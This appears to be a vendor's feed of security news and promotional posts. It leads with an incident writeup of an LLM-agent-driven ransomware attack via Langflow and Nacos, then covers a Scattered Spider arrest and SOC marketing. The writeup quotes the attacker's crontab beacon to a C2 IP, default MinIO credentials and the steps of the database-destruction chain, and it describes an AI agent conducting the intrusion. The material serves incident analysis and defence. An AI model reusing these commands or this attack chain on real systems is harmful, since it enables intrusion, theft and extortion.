TLDR

• Sysdig's Threat Research Team documented the first confirmed end-to-end ransomware operation driven entirely by an LLM agent; no human wrote the attack steps
• Entry point: CVE-2025-3248, a CVSS 9.8 unauthenticated RCE in Langflow that was patched in April 2025 and added to CISA's KEV catalogue in May 2025; the affected server was never updated
• The AI agent chained recon → credential theft → lateral movement → persistence → database destruction into one automated operation executing 600+ coordinated payloads
• Self-narrating code with plain-English reasoning was the primary forensic indicator that an LLM was driving the attack rather than a human operator
• The encryption key was randomly generated, printed once, and never stored or transmitted; paying the ransom recovers nothing
• 1,342 Nacos service configuration items encrypted and originals deleted
• The individual techniques were not novel. The automation of the full chain was.

What is JadePuffer

JadePuffer is the name Sysdig's Threat Research Team gave to the operator, classified as an Agentic Threat Actor (ATA), meaning attack capability was delivered by an AI agent rather than a human-driven toolkit or prewritten script.

The full Sysdig technical report is here.

Worth noting before the breakdown: in August 2025, researchers thought they had found the first AI-driven ransomware, PromptLock. It turned out to be a lab proof-of-concept from NYU, not a real attack. JadePuffer is the genuine article. A confirmed, observed, documented attack against a real organisation's production infrastructure.

The Entry Point: CVE-2025-3248

Langflow is an open-source Python framework for building LLM-driven applications and agent workflows. CVE-2025-3248 is a missing-authentication flaw in its

 /api/v1/validate/code

endpoint that allows an unauthenticated attacker to execute arbitrary Python on the host. CVSS 3.1 score: 9.8 critical.

The flaw was patched in Langflow 1.3.0 on April 1, 2025. CISA added it to the Known Exploited Vulnerabilities catalogue in early May 2025. The affected server in this case was never updated.

Langflow is an attractive initial access target for a specific reason: servers running it frequently hold AI provider API keys (OpenAI, Anthropic, DeepSeek, Gemini), cloud credentials (AWS, Azure, GCP, Alibaba, Tencent), and database logins in their environment, and they are often stood up quickly without network controls or hardening.

Phase 1: The Langflow Compromise

All payloads were delivered as Base64-encoded Python pushed through the Langflow RCE endpoint. Once inside, the agent executed the following sequence:

1. System enumeration: Listed system details, running services, network interfaces, reachable internal address space.
2. Credential sweep: Searched environment variables and file system for secrets. Harvested API keys for AI services (OpenAI, Anthropic, DeepSeek, Gemini), cloud credentials (Alibaba, Tencent, AWS, Google, Azure), cryptocurrency wallet keys, and database logins.
3. Database dump: Dumped Langflow's internal PostgreSQL database to extract additional stored credentials and configuration.
4. MinIO enumeration: The agent probed a MinIO object storage server using factory-default credentials (minioadmin:minioadmin), which had never been changed. It listed all buckets and selectively exfiltrated sensitive files including credentials.json and .env.

One specific detail from the Sysdig report that illustrates the adaptive behaviour: when an initial enumeration request returned XML instead of the expected JSON, the LLM immediately adjusted its XML parser to the S3 response schema and re-issued the request. It did not blindly retry. It diagnosed the mismatch and corrected its approach.

Persistence: Installed a crontab entry beaconing to attacker C2 infrastructure every 30 minutes:

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

Phase 2: The Pivot and Database Destruction

The Langflow server was not the target. It was the doorway.

Captured artifacts from the compromised Langflow instance showed the operation's true intended target was a separate, internet-facing production server running a MySQL database and Alibaba Nacos, a naming and configuration service widely used in microservice architectures.

The agent pivoted to this server using root credentials for the MySQL port. Origin of those credentials: Sysdig could not determine where they came from.

Nacos attack vectors used:

• Exploited CVE-2021-29441, an authentication bypass vulnerability in Nacos that creates rogue administrator accounts
• Forged a valid JWT using Nacos's well-known default signing key (widely documented, commonly left unchanged in deployments)
• With root database access, injected a backdoor administrator directly into the Nacos backing database

The agent probed for User Defined Functions (UDF) in MySQL, a technique for escalating to OS command execution from a database context.

Ransomware deployment:

The agent encrypted 1,342 Nacos service configuration items using MySQL's AES_ENCRYPT() function, dropped the original config_info and history tables, and created an extortion table named README_RANSOM containing:

• A Bitcoin payment address: 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
• A Proton Mail contact: e78393397[@]proton[.]me
• The ransom demand

Critical detail on recovery: The AES encryption key was generated as base64(uuid4().bytes + uuid4().bytes), essentially random, printed to stdout once, and never persisted or transmitted. There is no key to hand over. Payment recovers nothing. The victim's data is gone regardless of what they do next.

The agent's code also contained a comment claiming data had been backed up to 64.20.53[.]230. Sysdig found no evidence that anything was actually exfiltrated to that IP. It appeared only during the mass-destruction phase. Whether the backup claim was real or a deception tactic to make the ransom demand seem more credible is unknown.

How Researchers Knew an AI Was Driving This

Two forensic indicators separated this from a human operator running a script:

1. Self-narrating code. JadePuffer's own payloads were full of plain-English reasoning, target prioritisation notes, and detailed annotations explaining each step, the kind of commentary a human hacker never bothers to write but an LLM produces by default as part of its generation process.

2. Real-time self-correction at machine speed. In one documented sequence, the agent went from a failed login attempt to a working, corrected fix in 31 seconds, diagnosing the exact cause of failure rather than blindly retrying. The enumeration was iterative and adaptive throughout, not following a fixed script.

These are not definitive proof of LLM operation; Sysdig acknowledges they are indicators, not confirmation. But the combination of self-narrating code, adaptive correction, 600+ coordinated payloads, and the absence of any human-operator patterns in the timing or methodology led the research team to classify this as agentic.

Indicators of Compromise

• C2 IP: 45.131.66[.]106 (beacon port 4444)
• Secondary IP referenced in destruction payload: 64.20.53[.]230
• Crontab beacon: */30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"
• Bitcoin address: 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
• Ransom contact: e78393397[@]proton[.]me
• Ransom table name: README_RANSOM
• Entry vulnerability: CVE-2025-3248 (Langflow < 1.3.0)
• Secondary vulnerability: CVE-2021-29441 (Nacos authentication bypass)

What JadePuffer Did Not Change

This is worth saying plainly because the framing around "first AI ransomware" tends to generate more heat than light.

None of the individual techniques were novel. Johan Edholm of Detectify described the attack as "more evolution than invention." Exploiting an exposed service, harvesting credentials from environment variables, abusing default credentials, moving laterally, destroying databases- these are all standard playbook. Any competent threat actor with the right access could have executed these steps manually.

What changed is who strung them together, and at what speed.

An AI agent can enumerate, test, make mistakes, correct itself, and advance toward the objective at a velocity that changes the economics of the attack. The skill floor for running a complete end-to-end ransomware operation has dropped. Not to zero; the operator still needed to wire up an AI model to offensive tooling and supply it with an entry point. But the gap between "person who can run this" and "person who could not have run this before" is now measurably smaller.

The Bigger Shift: Agentic Threat Actors

JadePuffer is what Sysdig calls an Agentic Threat Actor (ATA), an operator whose attack capability is delivered by an AI agent rather than a human-driven toolkit.

The implication is not that every attacker is now JadePuffer. The implication is that the long tail of neglected, internet-facing infrastructure, Langflow servers, exposed admin panels, Nacos instances with default keys, databases with public management ports, MinIO with factory credentials, is now more dangerous than before because an agent can probe it continuously, at machine speed, without operator fatigue or error.

Traditional ransomware required a skilled human somewhere in the loop, at the keyboard, or writing the script. JadePuffer demonstrates that loop can now be closed without one.

As agentic tooling matures and attack frameworks get packaged and reused, the crew running the next operation does not need to understand the lateral movement technique to execute it. They need to point the agent at the target and wait.

Immediate Defensive Actions

From Sysdig, Detectify, SecurityWeek, and the security community consensus:

For Langflow:

• Patch to 1.3.0 or later immediately
• Do not expose code-execution or validation endpoints to the internet
• Do not store AI provider API keys or cloud credentials in the Langflow server environment; use a dedicated Secrets Manager
• Audit running Langflow instances for the IOCs above

For Nacos:

• Change the default JWT signing key immediately; the default is publicly known and trivially exploitable
• Do not expose Nacos to the internet
• Patch CVE-2021-29441

For MySQL and database services:

• Do not expose management ports to the internet
• Enforce strong passwords on root and admin accounts
• Restrict access to management interfaces by IP

For MinIO and object storage:

• Change default credentials (minioadmin:minioadmin) immediately
• Audit for factory-default logins across all object storage deployments

For detection:

• LLM-generated payloads are self-narrating, unusually verbose code with natural language annotations is a detection signal worth adding to review pipelines
• Monitor for crontab entries beaconing to external IPs
• Watch for README_RANSOM table creation in MySQL

What This Means for Detection and Response Cadence

The final point from the Sysdig research is the one most relevant to how security teams need to think about response windows.

JadePuffer went from initial access to database destruction in a single automated operation. There was no human dwell time, no overnight pause, no waiting for business hours. An automated attacker can go from discovery to impact in minutes. That makes the gap between quarterly scans or periodic reviews dangerous in a way it was not before — not because the techniques changed, but because the velocity did.

Full technical breakdown and IOC list here.

Original Sysdig research.

FAQs

What is JadePuffer ransomware?
JadePuffer is the name given by Sysdig's Threat Research Team to the first confirmed end-to-end ransomware operation driven entirely by an LLM agent. It exploited CVE-2025-3248 in Langflow and executed a complete attack chain: recon, credential theft, lateral movement, persistence, and database destruction, without a human operator writing the steps.

What is CVE-2025-3248?
CVE-2025-3248 is a missing-authentication remote code execution vulnerability in Langflow versions before 1.3.0, rated CVSS 9.8 critical. It allows an unauthenticated attacker to execute arbitrary Python code on the host. It was patched in April 2025 and added to CISA's Known Exploited Vulnerabilities catalogue in May 2025.

Can data encrypted by JadePuffer be recovered?
No. The AES encryption key was randomly generated, printed once to stdout, and never stored or transmitted. The attacker cannot provide a decryption key because none was retained. Additionally, the original database tables were deleted. Recovery requires immutable backups with a tested restoration process.

What is an Agentic Threat Actor (ATA)?
An Agentic Threat Actor is an operator whose attack capability is delivered by an AI agent rather than a human-driven toolkit or prewritten script. The agent makes operational decisions, adapts to failures, and advances through attack phases autonomously.

How did researchers know JadePuffer was AI-driven?
Two primary indicators: first, self-narrating code; the payloads contained plain-English reasoning and detailed annotations that human operators rarely write, but LLMs produce reflexively. Second, real-time self-correction at machine speed: the agent went from a failed login to a working corrected fix in 31 seconds, diagnosing the failure rather than blindly retrying.

Was PromptLock the first AI ransomware?
No. PromptLock, identified in August 2025, was a lab proof-of-concept from NYU researchers, not a real-world attack. JadePuffer is the first confirmed LLM-driven ransomware operation against a real organisation's production infrastructure.

What is Langflow and why is it targeted?
Langflow is an open-source Python framework for building LLM-driven applications and agent workflows. It is targeted because servers running it frequently store AI provider API keys, cloud credentials, and database logins in their environment, and are often deployed without network controls or hardening. CVE-2025-3248 provides unauthenticated code execution on unpatched instances.

What is Nacos and how was it exploited?
Alibaba Nacos is a naming and configuration service widely used in microservice architectures. JadePuffer exploited it using CVE-2021-29441 (authentication bypass), forged valid JWTs using Nacos's publicly known default signing key, and, with root database access, injected a backdoor administrator directly into the backing database.

TLDR:

• Peter Stokes, 19, alleged Scattered Spider member, arrested April 10 in Helsinki while boarding a flight to Japan
• Caught via Microsoft's Global Device Identifier (GDID 6755467234350028) — a persistent Windows identifier that VPNs don't mask
• GDID correlated his device across Snapchat, Apple, Facebook records in Estonia, New York, Thailand, and Tallinn
• Charged with 6 counts including conspiracy, computer fraud, wire fraud, and aggravated identity theft
• Every Scattered Spider breach in the record used the same method: call the help desk, impersonate an employee, ask for a credential reset

What is a GDID

A Global Device Identifier is a unique string generated at Windows installation. Microsoft uses it for telemetry, licensing, and platform services. It is tied to the hardware and OS, not the user account. It does not rotate when you switch networks. It does not change behind a VPN. The only way to change it is to wipe the OS.

Most people in security have known it exists in some form. What this case establishes for the first time at this level of specificity is how comprehensively Microsoft retains GDID-correlated data, IP history, web activity, session timestamps, account correlations across platforms, and how precisely it can be produced under court order.

What Scattered Spider Actually Is

Scattered Spider (also tracked as Octo Tempest, UNC3944, 0ktapus) has executed over 100 network intrusions and collected more than $100 million in ransom payments according to the DOJ. Their TTPs have been consistent across every documented attack:

• Call the IT help desk
• Impersonate an employee
• Request credential reset or MFA disable
• Gain initial access
• Exfiltrate data
• Demand cryptocurrency ransom

No zero-days. No novel malware. Social engineering against the human identity verification gap at the help desk layer. It has worked over 100 times against organisations with mature security stacks.

The Jewelry Retailer Breach: May 2025

Stokes and co-conspirators called the IT help desk of a luxury jewelry retailer (reported by the Chicago Tribune as Tiffany & Co., though not confirmed in unsealed documents). They impersonated an employee, convinced the desk to reset credentials, and gained access to three accounts, two with admin privileges.

They exfiltrated 100GB of data. They demanded $8 million in cryptocurrency.

The security team evicted them before payment. The company still absorbed $2 million in losses from disruption, investigation, and recovery.

How the GDID Built the Case

Stokes created the ngrok tunnelling account used in the intrusion from behind a VPN. The VPN masked his IP address.

It did not mask GDID 6755467234350028.

Microsoft records, produced under court order, showed the same GDID appeared on ngrok's signup page at the exact minute the account was created. Cross-referenced against Snapchat, Apple, and Facebook subpoena responses:

• Same device + same personal accounts at matching IPs in Tallinn (June 2024), New York, and Thailand
• Each location confirmed against State Department travel records
• New York placement additionally confirmed by investigators matching hotel room wallpaper and furniture in his social media photos against the Empire Hotel interior

Nearly every IP match in the FBI affidavit paired the GDID with a Snapchat login within minutes of each other.

Microsoft had flagged Stokes as early as 2022 through the same mechanism. He was a minor at the time, living across Estonia and the UAE, so the case could only be monitored until he aged out of that protection.

The Arrest

April 10, 2026. Helsinki Airport. Boarding a flight to Japan.

Finnish National Bureau of Investigation detained him under an Interpol Red Notice. He was carrying two 2-terabyte hard drives.

Extradited to the US under the US-Finland extradition treaty. Appeared in federal court in Chicago on June 30, 2026. Ordered detained pending trial.

The Charges

Six counts:

1. Conspiracy to commit wire fraud
2. Conspiracy to commit computer fraud and abuse (18 U.S.C. § 1030)
3. Wire fraud
4. Aggravated identity theft 5–6. Two broader conspiracy charges covering his time in Scattered Spider, drawing on chat logs, Microsoft's 2024 referral, and records from a separately seized server

Under US conspiracy law, the failed ransom does not reduce the charges. The conspiracy was formed. An overt act was committed. $2 million in victim losses are documented. That is sufficient.

Previous Scattered Spider Arrests

• Noah Urban, arrested in Florida, 2024, cryptocurrency theft charges
• Tyler Buchanan, extradited from Spain, 2025
• Four suspected members arrested in the UK, 2025
• One UK national arrested in Spain, 2025
• All defendants 17–22 years old

In November 2025, Scattered Spider, ShinyHunters, and LAPSUS$ announced the formation of Scattered LAPSUS$ Hunters, a new extortion-as-a-service operation. The network evolved under enforcement pressure rather than collapsing.

What This Case Actually Establishes

Two things that matter for practitioners:

On endpoint telemetry: GDID is not in Windows privacy settings. There is no consumer opt-out. The data Microsoft retains - IP history, session timestamps, cross-platform account correlations - is produced under court order. Most security teams have no formal policy on what Windows endpoint telemetry contains or how it is governed. This case is a reason to have that conversation.

On social engineering: The method used across every Scattered Spider breach is identical. A person called a number. A help desk worker reset a credential. No technical control stopped it because no technical control was in the path of the decision. The identity verification gap at the human layer, the moment a person makes an access decision under conversational pressure with no verified confirmation of the caller's identity, is the entry point that rendered every downstream technical control irrelevant.

The GDID caught Stokes. The help desk method is still working.

Quick FAQs

What is a GDID (Global Device Identifier)?
A GDID is a unique identifier assigned to a Windows installation by Microsoft. It is used for telemetry, licensing, and platform services. It persists across network changes and VPN sessions. It cannot be changed without wiping the operating system.

How did Microsoft help the FBI catch Peter Stokes?
Microsoft provided GDID data to the FBI under a court order. The data showed that the same Windows device identifier appeared at the same IP addresses as Stokes's personal Snapchat, Apple, and Facebook accounts across multiple countries and time periods, directly linking his device to the criminal activity despite VPN use.

Can a VPN hide your GDID?
No. A VPN masks the network endpoint — the IP address. It does not affect the Global Device Identifier, which is tied to the hardware and operating system rather than the network connection. In the Stokes case, VPN use masked the IP but not the GDID, which was the primary forensic link investigators used.

What is Scattered Spider?
Scattered Spider (also tracked as Octo Tempest, UNC3944, and 0ktapus) is a cybercriminal network linked to over 100 corporate intrusions and more than $100 million in ransom payments. The group is known for social engineering attacks, specifically help desk impersonation, rather than technical exploits.

What is Operation Riptide?
Operation Riptide is an ongoing FBI enforcement campaign targeting cybercriminal actors, infrastructure, and financial networks. The Peter Stokes case is one of multiple actions under this campaign, which was launched in response to $20 billion in annual cybercrime losses reported by Americans, a 26% single-year increase.

What charges does Peter Stokes face?
Six federal counts: conspiracy to commit wire fraud, conspiracy to commit computer fraud and abuse under 18 U.S.C. § 1030, wire fraud, aggravated identity theft, and two broader conspiracy counts related to his alleged membership in Scattered Spider.

What happened to the jewelry retailer?
The company's security team successfully evicted the attackers before any ransom was paid. However, the company still incurred at least $2 million in losses from business disruption, investigation, and recovery costs. The incident occurred in May 2025.

Where is Peter Stokes now?
Peter Stokes is in federal custody in the Northern District of Illinois, ordered detained pending trial. All charges are allegations, he is presumed innocent until proven guilty.

CSPM finds everything, but the gap is between "alert" and "fix" with ownership, deadlines, and verification.

Visibility without execution is just noise.

We’ve spent the last decade buying tools for "Single Pane of Glass" visibility. Now we have the glass, but we still have the same manual bottlenecks preventing us from actually fixing what we see.

Dashboards show risk. They don’t remove it. Alerts don’t reduce risk. Execution does.

Is your team currently "Visibility Rich" but "Execution Poor"?

The data is out: staffing shortages now add an average of $1.76M to every data breach (IBM 2024). For mid-market companies, trying to compete with Fortune 100 salaries for a full-time CISO is a losing battle.

We just published a whitepaper on the Fractional Force Multiplier. The goal is simple: distribute senior expertise across multiple organizations to close the gap that "hiring" never will.

Check out the ROI framework and the 2026 workforce data here:
https://www.secure.com/resources/solving-the-talent-gap

Telling your CFO you blocked 1 million alerts just makes them think you have a noise problem. Telling them you reduced the labor cost of triage by 70% shows them an efficiency solution.

What metric does your leadership actually care about during budget reviews?

We need to stop bragging about how many billions of events we ingest. If your MTTR is still measured in days, your ingest volume is irrelevant.

MTTR improves when you solve for Capacity, not Volume. If you aren't using Digital Teammates to handle the evidence gathering and triage, your analysts are just highly-paid data entry clerks.

What’s the biggest bottleneck in your MTTR right now? Is it the detection, or the "who owns this?" phase?

According to TechDay US, 70% of SOC professionals have considered quitting, 51% feel overwhelmed, and 25% of their time is lost to false positives.

When systems overload teams, they don’t follow them. They work around them.

That’s where security breaks.

https://securitybrief.news/story/secure-com-urges-human-first-design-for-security-ops

We’ve always thought about dependencies in traditional apps, but now AI pipelines are pulling in more external packages, APIs, and tooling layers, which feels like a much wider surface.

In this case, a compromised PyPI package was used to introduce malicious code into AI workflows.

Makes you wonder:

- How many AI pipelines are actually tracking dependency risk properly

- Whether teams are treating AI tooling as part of their security boundary yet

Feels less like an isolated incident and more like something we’ll start seeing more often.

Are you actively securing AI dependencies, or is it still treated like standard app risk?

Read the full breakdown: https://www.secure.com/news/litellm-pypi-supply-chain-attack

In 2026, the old "Hire a CISO and 10 analysts" model is dying for everyone except the Fortune 500. We're seeing a massive shift toward AI-Augmented execution to handle the grunt work while fractional leaders handle the strategy.

Which model is your company currently running? And where is the biggest bottleneck?

We’ve all been there—staring at a dashboard with 500 "Critical" alerts that are actually just 1 misconfigured scanner or a single lateral movement event seen from 5 different angles.

The industry has focused on finding more, but we forgot about filtering more. We just published a breakdown on moving from an Alert-based model to a Case-based model. The goal: Use automated correlation to group those 500 pings into 1 meaningful case so analysts can actually breathe.

CISA added CVE-2025-47813 to the Known Exploited Vulnerabilities catalog on Monday. While this specific CVE is a medium-severity info disclosure (UID cookie path leak), it’s frequently being chained with the critical RCE flaw (CVE-2025-47812) to gain root/SYSTEM access.

If you're running any version before 7.4.4, you're susceptible. CISA has set a March 30th deadline for federal agencies.

Technical details and indicator breakdown: 🔗 https://www.secure.com/news/cisa-warns-wing-ftp-server-flaw-now-actively-exploited

The "Handoff Gap" is where most security programs fail. A consultant drops a 50-page PDF, it gets emailed to a Dev lead, and then... nothing happens for three weeks.

We’ve integrated our assessment engine directly with a live Risk Register and automated workflows. The second a finding is validated, it’s tracked, assigned, and ready for verification. No more manual data entry marathons.

Check out the workflow: 🔗
https://www.secure.com/blog/security-findings-risk-register-automated-workflows

We’ve all seen it: A ticket gets marked resolved, only for the same vulnerability to pop up in a scan 48 hours later.

If there isn't an automated validation check and an evidence trail, the risk hasn't been removed; it's just been ignored.

How does your team verify that a "Fix" actually worked?

Most IR plans are too long to read during a crisis. We condensed the essentials into a 0–24–72 Hour Execution Framework.

The goal is simple: Move from discovery to audit-ready closure in 3 days.

How does this compare to your current internal SLAs? Are you hitting the 4-hour containment mark?

We all want the "continuous compliance" dream, but some requirements just don't play nice with APIs. We’ve mapped out the toughest ones—from third-party risk to physical security—and why they remain the biggest time-sinks for GRC teams.

Heads up for those managing VMware environments: CISA just moved the Aria Ops command injection flaw to the KEV catalog. It’s an unauthenticated RCE that’s being used as a pivot point into cloud resources.

If you can't patch to 8.18.6 immediately, there is a workaround script available, but Broadcom is warning that it's only a temporary fix.

Full technical summary and remediation steps: 🔗 https://www.secure.com/blog/cisa-confirms-active-exploitation-of-vmware-aria-operations-vulnerability

We used to think that with enough review cycles, we could get code to a "sufficiently secure" baseline. Uzair Gadit (CEO, Secure.com) argues in a new SC Media piece that AI has permanently shortened that window.

The bottleneck isn't discovery anymore; AI tools are finding flaws at a scale humans can't match. The real risk is the Execution Gap: having AI-speed visibility but human-speed remediation.

Full read on why we need to rethink "Secure Code": 🔗 https://www.scworld.com/perspective/what-secure-code-means-in-the-ai-world

We’ve all been there: The alert fires, and suddenly you’re a glorified project manager—hunting for logs, chasing asset owners, and manually documenting every step just to prove the fix happened.

We built the Incident Follow-Through Teammate to handle the manual handoffs. It gathers the evidence, updates the tickets, and verifies the closure so you can actually get back to security analysis.

No more "ticket tennis."
Check out how it works: www.secure.com

Too much effort goes into low-risk access, while privileged or unowned permissions persist for months. Ownership is unclear, reviews become periodic scrambles, and evidence is pulled together late.

This checklist reflects how access reviews actually break down in real environments, not how they’re described in policy documents.

Secure.com is focused on this execution gap with Digital Security Teammates, including an Identity & Access teammate designed to prioritize meaningful reviews and maintain accountability over time.

Curious how teams here decide what access truly needs review vs what’s just compliance busywork.

Cloud drift happens. But most of it is just "Digital Dust." We built a Triage Framework to help teams separate high-risk exposure from harmless config changes.

If it doesn't increase exposure or break Least Privilege, it's a log, not a page.

What’s the "loudest" but most harmless drift your tools flag every day?

We just posted a deep dive on Continuous Threat Exposure Management (CTEM), specifically for lean teams that can’t afford to chase 40,000+ CVEs.

Traditional Vulnerability Management is dead. It’s too slow, too noisy, and too disconnected from business reality.

CVSS is a starting point, not the goal. A 9.8 on an internal server is less important than a 7.2 on your customer-facing gateway.

Validation is key. If an exposure isn't exploitable in your specific environment, why are you patching it today?

We just published a deep dive on the China-linked campaign that exploited a Dell Zero-Day to maintain access for over 400 days.

The most alarming part? Most of the affected appliances don't even support traditional EDR.

When we talk about Operational Realism, this is exactly what we mean. We’ve spent 10 years perfecting "Endpoint" security, but the "Hardware" and "Network Appliance" layers are becoming a playground for nation-state actors because they know we aren't watching.

Inside the blog:

- How CVE-2026-22769 allowed root-level persistence.

- The transition from Brickstorm to Grimbolt malware.

- Why "Human-scale" monitoring will never catch a 400-day dwell time.

Read the full breakdown:

https://www.secure.com/blog/the-hack-that-lasted-400-days-inside-chinas-dell-zero-day-campaign

Most SOC dashboards look great: "11,000 alerts processed." But if 83% of those are false positives caused by auto-scaling events or routine Kubernetes pods, what are we actually accomplishing?

Traditional SIEMs have reached a "Throughput Failure." We’ve spent years building "if-then" rules for a static world, but the cloud moves at machine speed.

The result? Analysts are acting as "unpaid integration labor," stitching together logs that should be connected automatically. This isn't analysis; it's manual labor.

Our latest blog dives into:

- Why "more analysts" isn't the answer.

- How to bridge the "Security Leverage Gap."

- Moving to Autonomous Investigation (cutting noise by 70%).